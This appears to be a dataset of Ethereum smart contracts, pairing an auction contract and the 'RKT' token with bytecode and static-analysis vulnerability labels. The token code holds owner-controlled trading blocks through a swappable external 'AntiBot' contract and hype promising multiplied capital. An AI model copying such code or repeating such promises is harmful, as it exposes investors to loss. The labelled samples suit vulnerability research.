6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ef7abcb535170b9ebfe7d9767a856745a3f0c022d9d08b5f68a096e1d2220c564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 371 |
0xdB321EcA939a462dC7646D96e12a388e10665254 | pragma solidity ^0.5.9;
contract vnxAuctionSC {
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyAdmin() {
require(msg.sender == admin, "Admin security: caller is not the admin");
_;
}
//-----------------------------------------------------------------------------------
// Data Structures
//-----------------------------------------------------------------------------------
enum StatusName {NEW, FUNDED, CANCELED}
struct AuctionDetails {
uint bookingId;
// name and ticker should remain empty until the closure (with close function) of the auction
string name;
string ticker;
bool isClosed;
}
struct BidStatus {
StatusName status; // 0: New; 1: Paid; 2: Canceled
address user; // user who initiated a bid
address userStatusUpdate; // user who updated the status to present state (can be either user or admin)
uint timeUpdate;
}
struct BidList {
uint[] bids; // Bid hashes, the key to bidStatuses mapping
uint timeInit;
}
//-----------------------------------------------------------------------------------
// Variables, Instances, Mappings
//-----------------------------------------------------------------------------------
uint constant BULK_LENGTH = 50;
address private admin;
address[] private users;
AuctionDetails private auctionDetails;
/* Bid's uint(Hash) is a param to this mapping */
mapping(uint => BidStatus) private bidStatuses;
/* User who initiated the bids is a param to this mapping */
mapping(address => BidList) private userBids;
//-----------------------------------------------------------------------------------
// Smart contract Constructor
//-----------------------------------------------------------------------------------
// name and ticker should remain empty until the closure (with close function) of the auction
constructor(uint _bookingId) public {
require(_bookingId != 0, "Booking ID should not be zero");
admin = msg.sender;
auctionDetails.bookingId = _bookingId;
}
//-----------------------------------------------------------------------------------
// View Functions
//-----------------------------------------------------------------------------------
function getAuctionDetails() public view returns (uint bookingId, string memory name, string memory ticker, bool isClosed){
return (auctionDetails.bookingId, auctionDetails.name, auctionDetails.ticker, auctionDetails.isClosed);
}
function getUsersLen() public view returns(uint) {
return users.length;
}
function getUsersItem(uint _ind) public view returns(address) {
if( _ind >= users.length ) {
return address(0);
}
return users[_ind];
}
function getBidListLen(address _user) public view returns(uint) {
if (userBids[_user].timeInit==0) {
return 0;
}
return userBids[_user].bids.length;
}
function getBidListHash(address _user, uint _ind) public view returns(uint) {
if (userBids[_user].timeInit==0 || _ind >= userBids[_user].bids.length) {
return 0;
}
return userBids[_user].bids[_ind];
}
function getBidListItem(address _user, uint _ind) public view returns(uint status, uint timeUpdate) {
if (userBids[_user].timeInit==0 || _ind >= userBids[_user].bids.length) {
return (0,0);
}
return (uint(bidStatuses[userBids[_user].bids[_ind]].status), bidStatuses[userBids[_user].bids[_ind]].timeUpdate);
}
//-----------------------------------------------------------------------------------
// Transact Functions
//-----------------------------------------------------------------------------------
event BidUpdated(uint indexed _hashBid, uint8 _newStatus);
/**
* IMPORTANT -- In case of value overflow no event is sent due to THROW (revert) -- this is rollback
* @dev writes a bid to the blockchain
* @param _user The address of a user which has the corrersponding hashBid.
* @param _hashBid The hash of bid for the user to see/confirm his/her bid.
* @param _newStatus The status of the bid.
*/
function writeBid(address _user, uint _hashBid, StatusName _newStatus) public returns (bool) {
require(auctionDetails.isClosed == false, "Auction is already closed");
require(msg.sender == admin || msg.sender == _user, "Only admin or bid owner can write bids");
require(_newStatus == StatusName.NEW || _newStatus == StatusName.FUNDED || _newStatus == StatusName.CANCELED, "Wrong status id passed");
require(_hashBid != 0, "Bid hash cannot be zero");
return _writeBid(_user, _hashBid, _newStatus);
}
function _writeBid(address _user, uint _hashBid, StatusName _newStatus) internal returns (bool) {
if (bidStatuses[_hashBid].timeUpdate != 0) { // bid already exists, simply update
return _setBidState(_hashBid, _newStatus);
}
// Bid not exist yet
if (userBids[_user].timeInit == 0) { // no such user registered yet
users.push(_user);
userBids[_user].timeInit = now;
}
userBids[_user].bids.push(_hashBid);
BidStatus memory bidStatus;
bidStatus.status = _newStatus;
bidStatus.user = _user;
bidStatus.userStatusUpdate = msg.sender;
bidStatus.timeUpdate = now;
bidStatuses[_hashBid] = bidStatus;
emit BidUpdated(_hashBid, uint8(_newStatus));
return true;
}
event BatchBidsUpdated(uint indexed bulkId, uint processedCount);
/**
* IMPORTANT -- In case of value overflow no event is sent due to THROW (revert) -- this is rollback
* @dev writes bids in a bulk to the blockchain
* Bids state changes in the batch must be sorted by the time of their occurence in the system
*
* @param _bulkId The unique ID of the bulk which is calculated on the client side (by the admin) as a hash of some bulk bids' data
* @param _bidUsers The array of addresses of users which have the corrersponding hashBid.
* @param _hashBids The array of hashes of bids for users to see/confirm their bids.
* @param _newStatuses The array of statuses of the bids.
* IMPORTANT -- in evNewBulkBid( _bulkId, _processedNum, _err, _errMsg ) check __processedNum !!
* Not all records in the Bulk can be loaded. Check the messing records with evNewBid events
*/
function writeBidsBatch(uint _bulkId, address[] memory _bidUsers, uint[] memory _hashBids,
StatusName[] memory _newStatuses) public onlyAdmin returns (bool)
{
require(_bidUsers.length == _hashBids.length, "Input arrays should be of the same size");
require(_bidUsers.length == _newStatuses.length, "Input arrays should be of the same size");
require(auctionDetails.isClosed == false, "Auction is already closed");
require(_bidUsers.length <= BULK_LENGTH, "Array length can not be larger than BULK_LENGTH");
uint _procCount = 0;
uint[BULK_LENGTH] memory _itemsToSave;
uint _itemsLength = 0;
/**
* _writeBid behaviour (write new bid or update bid status) depends on all bid write transactions being committed to the blockchain before _writeBid is called
* so it will not work correctly when the batch contains new bid and subsequent status changes of this bid in the same batch
* in which case _writeBid will erroneously consider state changes as new bids with the same hashes from the same user
*
* The following loop makes sure that only one (the latest) transaction for each unique bid in the batch will pass through to _writeBid call
*/
for (uint j = 0; j<_bidUsers.length; j++) { // run through all input entries
if (_bidUsers[j] == address(0) || _hashBids[j] == 0 ) {
revert('Wrong input parameters');
}
for (uint k = 0; k < _itemsLength; k++) { // check previously saved entries
if (_bidUsers[_itemsToSave[k]]==_bidUsers[j]) { // got the same user as current item
if (_hashBids[_itemsToSave[k]]==_hashBids[j]) { // got the same bid hash, update status
_itemsToSave[k] = j;
continue;
}
}
}
_itemsToSave[_itemsLength++] = j;
}
for (uint k = 0; k < _itemsLength; k++) { // store filtered entries
_procCount = _procCount + 1;
_writeBid(_bidUsers[_itemsToSave[k]], _hashBids[_itemsToSave[k]], _newStatuses[_itemsToSave[k]]);
}
emit BatchBidsUpdated(_bulkId, _procCount);
return true;
}
event BidStateChanged(uint indexed _hashBid, StatusName indexed _newStatus);
function _setBidState( uint _hashBid, StatusName _newStatus ) internal returns (bool) {
require(bidStatuses[_hashBid].status != StatusName.CANCELED, "Bid status is CANCELLED, no more changes allowed");
bidStatuses[_hashBid].status = _newStatus;
bidStatuses[_hashBid].userStatusUpdate = msg.sender;
bidStatuses[_hashBid].timeUpdate = now;
emit BidStateChanged(_hashBid, _newStatus);
return true;
}
event AuctionClosed();
// NOT EMITTED -- _err = 3; _errMsqg = "Closing status in blockchain does not correspond to action"
function closeAuction(string memory _name, string memory _ticker) public onlyAdmin returns (bool) {
require(auctionDetails.isClosed==false, "Auction is already closed");
auctionDetails.isClosed = true;
auctionDetails.name = _name;
auctionDetails.ticker = _ticker;
emit AuctionClosed();
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c80636380366511610066578063638036651461039057806369b1cc16146104b9578063cfde0f84146104f2578063dbad7db11461051e578063f4fe1cee1461055357610093565b8063158ae2ae14610098578063307f4ce4146100d05780633a6dcea2146100d85780633ed96a3c146101d0575b600080fd5b6100be600480360360208110156100ae57600080fd5b50356001600160a01b0316610598565b60408051918252519081900360200190f35b6100be6105e0565b6100e06105e7565b60405180858152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610191578181015183820152602001610179565b50505050905090810190601f1680156101be5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b61037c600480360360808110156101e657600080fd5b81359190810190604081016020820135600160201b81111561020757600080fd5b82018360208201111561021957600080fd5b803590602001918460208302840111600160201b8311171561023a57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561028957600080fd5b82018360208201111561029b57600080fd5b803590602001918460208302840111600160201b831117156102bc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561030b57600080fd5b82018360208201111561031d57600080fd5b803590602001918460208302840111600160201b8311171561033e57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061072d945050505050565b604080519115158252519081900360200190f35b61037c600480360360408110156103a657600080fd5b810190602081018135600160201b8111156103c057600080fd5b8201836020820111156103d257600080fd5b803590602001918460018302840111600160201b831117156103f357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561044557600080fd5b82018360208201111561045757600080fd5b803590602001918460018302840111600160201b8311171561047857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ade945050505050565b6104d6600480360360208110156104cf57600080fd5b5035610be4565b604080516001600160a01b039092168252519081900360200190f35b6100be6004803603604081101561050857600080fd5b506001600160a01b038135169060200135610c20565b61037c6004803603606081101561053457600080fd5b5080356001600160a01b0316906020810135906040013560ff16610ca4565b61057f6004803603604081101561056957600080fd5b506001600160a01b038135169060200135610e43565b6040805192835260208301919091528051918290030190f35b6001600160a01b0381166000908152600760205260408120600101546105c0575060006105db565b506001600160a01b0381166000908152600760205260409020545b919050565b6001545b90565b60028054600554600380546040805160206101006001851615026000190190931696909604601f8101839004830287018301909152808652600095606095869588959194919360049360ff9092169285919083018282801561068a5780601f1061065f5761010080835404028352916020019161068a565b820191906000526020600020905b81548152906001019060200180831161066d57829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156107185780601f106106ed57610100808354040283529160200191610718565b820191906000526020600020905b8154815290600101906020018083116106fb57829003601f168201915b50505050509150935093509350935090919293565b600080546001600160a01b031633146107775760405162461bcd60e51b81526004018080602001828103825260278152602001806112e86027913960400191505060405180910390fd5b82518451146107b75760405162461bcd60e51b81526004018080602001828103825260278152602001806113946027913960400191505060405180910390fd5b81518451146107f75760405162461bcd60e51b81526004018080602001828103825260278152602001806113946027913960400191505060405180910390fd5b60055460ff161561084b576040805162461bcd60e51b8152602060048201526019602482015278105d58dd1a5bdb881a5cc8185b1c9958591e4818db1bdcd959603a1b604482015290519081900360640190fd5b60328451111561088c5760405162461bcd60e51b815260040180806020018281038252602f815260200180611335602f913960400191505060405180910390fd5b6000610896611207565b6000805b8751811015610a0a5760006001600160a01b03168882815181106108ba57fe5b60200260200101516001600160a01b031614806108ea57508681815181106108de57fe5b60200260200101516000145b15610935576040805162461bcd60e51b815260206004820152601660248201527557726f6e6720696e70757420706172616d657465727360501b604482015290519081900360640190fd5b60005b828110156109e95788828151811061094c57fe5b60200260200101516001600160a01b03168985836032811061096a57fe5b60200201518151811061097957fe5b60200260200101516001600160a01b031614156109e15787828151811061099c57fe5b6020026020010151888583603281106109b157fe5b6020020151815181106109c057fe5b602002602001015114156109e157818482603281106109db57fe5b60200201525b600101610938565b50808383806001019450603281106109fd57fe5b602002015260010161089a565b5060005b81811015610a9957836001019350610a9088848360328110610a2c57fe5b602002015181518110610a3b57fe5b602002602001015188858460328110610a5057fe5b602002015181518110610a5f57fe5b602002602001015188868560328110610a7457fe5b602002015181518110610a8357fe5b6020026020010151610f3a565b50600101610a0e565b5060408051848152905189917f82e97dcdfae63e6494ee844c04ce8e39deabc677c4c44066a6ca64e76ac8053f919081900360200190a2506001979650505050505050565b600080546001600160a01b03163314610b285760405162461bcd60e51b81526004018080602001828103825260278152602001806112e86027913960400191505060405180910390fd5b60055460ff1615610b7c576040805162461bcd60e51b8152602060048201526019602482015278105d58dd1a5bdb881a5cc8185b1c9958591e4818db1bdcd959603a1b604482015290519081900360640190fd5b6005805460ff191660011790558251610b9c906003906020860190611226565b508151610bb0906004906020850190611226565b506040517f36b6b46dc27de0e2e7407f09bfad8e27b837c2ce3153a08fdebf9279d2cd22b790600090a15060015b92915050565b6001546000908210610bf8575060006105db565b60018281548110610c0557fe5b6000918252602090912001546001600160a01b031692915050565b6001600160a01b0382166000908152600760205260408120600101541580610c6057506001600160a01b0383166000908152600760205260409020548210155b15610c6d57506000610bde565b6001600160a01b0383166000908152600760205260409020805483908110610c9157fe5b9060005260206000200154905092915050565b60055460009060ff1615610cfb576040805162461bcd60e51b8152602060048201526019602482015278105d58dd1a5bdb881a5cc8185b1c9958591e4818db1bdcd959603a1b604482015290519081900360640190fd5b6000546001600160a01b0316331480610d1c5750336001600160a01b038516145b610d575760405162461bcd60e51b815260040180806020018281038252602681526020018061130f6026913960400191505060405180910390fd5b6000826002811115610d6557fe5b1480610d7c57506001826002811115610d7a57fe5b145b80610d9257506002826002811115610d9057fe5b145b610ddc576040805162461bcd60e51b815260206004820152601660248201527515dc9bdb99c81cdd185d1d5cc81a59081c185cdcd95960521b604482015290519081900360640190fd5b82610e2e576040805162461bcd60e51b815260206004820152601760248201527f42696420686173682063616e6e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b610e39848484610f3a565b90505b9392505050565b6001600160a01b03821660009081526007602052604081206001015481901580610e8557506001600160a01b0384166000908152600760205260409020548310155b15610e9557506000905080610f33565b6001600160a01b03841660009081526007602052604081208054600692919086908110610ebe57fe5b6000918252602080832090910154835282019290925260400190205460ff166002811115610ee857fe5b6001600160a01b03851660009081526007602052604081208054600692919087908110610f1157fe5b9060005260206000200154815260200190815260200160002060020154915091505b9250929050565b60008281526006602052604081206002015415610f6257610f5b8383611117565b9050610e3c565b6001600160a01b038416600090815260076020526040902060010154610fdc576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b0387169081179091556000908152600760205260409020429101555b6001600160a01b03841660009081526007602090815260408220805460018101825590835291200183905561100f6112a4565b8083600281111561101c57fe5b9081600281111561102957fe5b9052506001600160a01b038516602080830191909152336040808401919091524260608401526000868152600690925290208151815483929190829060ff1916600183600281111561107757fe5b021790555060208201518154610100600160a81b0319166101006001600160a01b039283160217825560408301516001830180546001600160a01b0319169190921617905560609091015160029182015584907f4c173b704886219836929a62fd22d2e1d033441d940bb5102388f8734699bf379085908111156110f757fe5b6040805160ff9092168252519081900360200190a2506001949350505050565b6000600260008481526006602052604090205460ff16600281111561113857fe5b14156111755760405162461bcd60e51b81526004018080602001828103825260308152602001806113646030913960400191505060405180910390fd5b6000838152600660205260409020805483919060ff1916600183600281111561119a57fe5b021790555060008381526006602052604090206001810180546001600160a01b031916331790554260029182015582908111156111d357fe5b60405184907fcf11f60d66ade5830c3156729ad759f4afea388e5937c79bbd5847a4f1c5ca8c90600090a350600192915050565b6040518061064001604052806032906020820280388339509192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061126757805160ff1916838001178555611294565b82800160010185558215611294579182015b82811115611294578251825591602001919060010190611279565b506112a09291506112cd565b5090565b604080516080810190915280600081526000602082018190526040820181905260609091015290565b6105e491905b808211156112a057600081556001016112d356fe41646d696e2073656375726974793a2063616c6c6572206973206e6f74207468652061646d696e4f6e6c792061646d696e206f7220626964206f776e65722063616e20777269746520626964734172726179206c656e6774682063616e206e6f74206265206c6172676572207468616e2042554c4b5f4c454e475448426964207374617475732069732043414e43454c4c45442c206e6f206d6f7265206368616e67657320616c6c6f776564496e707574206172726179732073686f756c64206265206f66207468652073616d652073697a65a265627a7a72305820f6790d29965d2c1eab83db4338457fe337fbf6189f6ff0315b53fe66f7e8570d64736f6c634300050a0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 372 |
0x518827e4d0dc7df96d218a30ecf61d5f4bd14726 | /**
*Submitted for verification at Etherscan.io on 2021-08-08
*/
/*
RocketV1 - is an opportunity for you to multiply your capital at times.
After the start of trading, as soon as the capitalization is 30 ETH,
we make the coin liquidity lock by 85% (so that 15% of the capitalization is given for sale).
Thus, we will go to the accumulation of investors and the growth of prices.
RocketV2 - After the results of our first launch version, our developers will complete
this version and we will transfer all assets multiplied by 2 to this version.
In this version, everyone who keeps our coin gets 20% reflected from the sale of EACH COIN.
There will be many interesting things - stay with us!
ANTIBot = ON;
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender) external;
}
contract RKT is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant TOTAL_SUPPLY = 100000000000000 * 10**9;
string private m_Name = "RKT | t.me/Roknv1";
string private m_Symbol = "RKTv1";
uint8 private m_Decimals = 9;
uint256 private m_BanCount = 0;
uint256 private m_TxLimit = 500000000000 * 10**9;
uint256 private m_SafeTxLimit = m_TxLimit;
uint256 private m_WalletLimit = m_SafeTxLimit.mul(4);
uint256 private m_TaxFee;
uint8 private m_DevFee = 5;
address payable private m_FeeAddress;
address private m_UniswapV2Pair;
bool private m_TradingOpened = false;
bool private m_IsSwap = false;
bool private m_SwapEnabled = false;
bool private m_AntiBot = true;
mapping (address => bool) private m_Bots;
mapping (address => bool) private m_Staked;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private m_UniswapV2Router;
event MaxOutTxLimit(uint MaxTransaction);
event BanAddress(address Address, address Origin);
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
FTPAntiBot _antiBot = FTPAntiBot(0x590C2B20f7920A2D21eD32A21B616906b4209A43); // AntiBot
AntiBot = _antiBot;
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToTax(address _sender) private view returns(bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled;
}
function _pleb(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && m_TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns(bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns(bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint8 _fee = _setFee(_sender, _recipient);
uint256 _feeAmount = _amount.div(100).mul(_fee);
uint256 _newAmount = _amount.sub(_feeAmount);
if(m_AntiBot) {
if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){
require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
}
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit);
if (_pleb(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient))
require(_amount <= m_TxLimit);
_tax(_sender);
}
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_feeAmount);
emit Transfer(_sender, _recipient, _newAmount);
if(m_AntiBot)
AntiBot.registerBlock(_sender, _recipient);
}
function _setFee(address _sender, address _recipient) private returns(uint8){
bool _takeFee = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeFee)
m_DevFee = 0;
if(_takeFee)
m_DevFee = 5;
return m_DevFee;
}
function _tax(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
if (_readyToTax(_sender)) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _disperseEth() private {
m_FeeAddress.transfer(address(this).balance);
}
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return m_BanCount;
}
function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status
bool _banBool = false;
if(m_Bots[_address])
_banBool = true;
return _banBool;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!m_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
m_SwapEnabled = true;
m_TradingOpened = true;
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
}
function setTxLimitMax() external onlyOwner() {
m_TxLimit = m_WalletLimit;
m_SafeTxLimit = m_WalletLimit;
emit MaxOutTxLimit(m_TxLimit);
}
function manualBan(address _a) external onlyOwner() {
m_Bots[_a] = true;
}
function removeBan(address _a) external onlyOwner() {
m_Bots[_a] = false;
}
function contractBalance() external view onlyOwner() returns (uint256) {
return address(this).balance;
}
function setFeeAddress(address payable _feeAddress) external onlyOwner() {
m_FeeAddress = _feeAddress;
m_ExcludedAddresses[_feeAddress] = true;
}
function assignAntiBot(address _address) external onlyOwner() {
FTPAntiBot _antiBot = FTPAntiBot(_address);
AntiBot = _antiBot;
}
function toggleAntiBot() external onlyOwner() returns (bool){
bool _localBool;
if(m_AntiBot){
m_AntiBot = false;
_localBool = false;
}
else{
m_AntiBot = true;
_localBool = true;
}
return _localBool;
}
} | 0x6080604052600436106101235760003560e01c80638705fcd4116100a0578063af74ff5b11610064578063af74ff5b1461033d578063c735f3c914610352578063dd62ed3e14610367578063e8078d94146103ad578063fa2b2009146103c257600080fd5b80638705fcd4146102ab5780638b7afe2e146102cb5780638da5cb5b146102e057806395d89b4114610308578063a9059cbb1461031d57600080fd5b8063313ce567116100e7578063313ce567146101f35780633908cfd21461021557806362caa70414610235578063700542ec1461025557806370a082311461027557600080fd5b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461018a578063228e7a91146101b157806323b872dd146101d357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103d7565b604051610151919061183b565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046117c3565b610469565b6040519015158152602001610151565b34801561019657600080fd5b5069152d02c7e14af68000005b604051908152602001610151565b3480156101bd57600080fd5b506101d16101cc366004611713565b610480565b005b3480156101df57600080fd5b5061017a6101ee366004611783565b6104e0565b3480156101ff57600080fd5b5060035460405160ff9091168152602001610151565b34801561022157600080fd5b506101d1610230366004611713565b610549565b34801561024157600080fd5b506101d1610250366004611713565b61059d565b34801561026157600080fd5b5061017a610270366004611713565b6105f2565b34801561028157600080fd5b506101a3610290366004611713565b6001600160a01b03166000908152600e602052604090205490565b3480156102b757600080fd5b506101d16102c6366004611713565b61061e565b3480156102d757600080fd5b506101a3610690565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610151565b34801561031457600080fd5b506101446106c9565b34801561032957600080fd5b5061017a6103383660046117c3565b6106d8565b34801561034957600080fd5b5061017a6106e5565b34801561035e57600080fd5b506101d161075d565b34801561037357600080fd5b506101a361038236600461174b565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156103b957600080fd5b506101d16107d2565b3480156103ce57600080fd5b506004546101a3565b6060600180546103e6906119e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610412906119e7565b801561045f5780601f106104345761010080835404028352916020019161045f565b820191906000526020600020905b81548152906001019060200180831161044257829003601f168201915b5050505050905090565b6000610476338484610c33565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146104bc5760405162461bcd60e51b81526004016104b39061188e565b60405180910390fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b60006104ed848484610d57565b61053f843361053a85604051806060016040528060288152602001611a4e602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190611225565b610c33565b5060019392505050565b6000546001600160a01b0316336001600160a01b03161461057c5760405162461bcd60e51b81526004016104b39061188e565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316336001600160a01b0316146105d05760405162461bcd60e51b81526004016104b39061188e565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600b6020526040812054819060ff161561047a5750600192915050565b6000546001600160a01b0316336001600160a01b0316146106515760405162461bcd60e51b81526004016104b39061188e565b60098054610100600160a81b0319166101006001600160a01b03939093169283021790556000908152600d60205260409020805460ff19166001179055565b600080546001600160a01b0316336001600160a01b0316146106c45760405162461bcd60e51b81526004016104b39061188e565b504790565b6060600280546103e6906119e7565b6000610476338484610d57565b600080546001600160a01b0316336001600160a01b0316146107195760405162461bcd60e51b81526004016104b39061188e565b600a54600090600160b81b900460ff1615610742575050600a805460ff60b81b19169055600090565b50600a805460ff60b81b1916600160b81b1790556001905090565b6000546001600160a01b0316336001600160a01b0316146107905760405162461bcd60e51b81526004016104b39061188e565b600754600581905560068190556040519081527f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc9060200160405180910390a1565b6000546001600160a01b0316336001600